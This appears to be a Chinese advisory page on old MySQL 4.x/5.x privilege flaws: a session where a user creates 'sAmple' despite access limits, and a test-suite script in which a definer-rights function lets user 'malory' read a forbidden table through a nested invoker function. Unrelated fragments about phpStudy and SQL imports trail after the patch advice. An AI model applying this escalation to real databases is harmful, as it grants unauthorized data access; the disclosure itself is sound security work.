1、创建数据库
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$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、权限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建议：
厂商补丁：MySQL AB
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载。
1.首先查看phpstudy中mysql的路径：比如：E:\phpStudy\MySQL\bin
2.然后打开dos窗口，将目录切换至mysql，bin目录下：
3.输入mysql命令，进行连接：mysql -h localhost -u root -p 回车；输入密码再次回车。mysql连接成功！
我们知道，mysql的不同版本，有可能会存在着一些差异，比如：
hive中支持的数据转换：
linux一次导入多个sql文件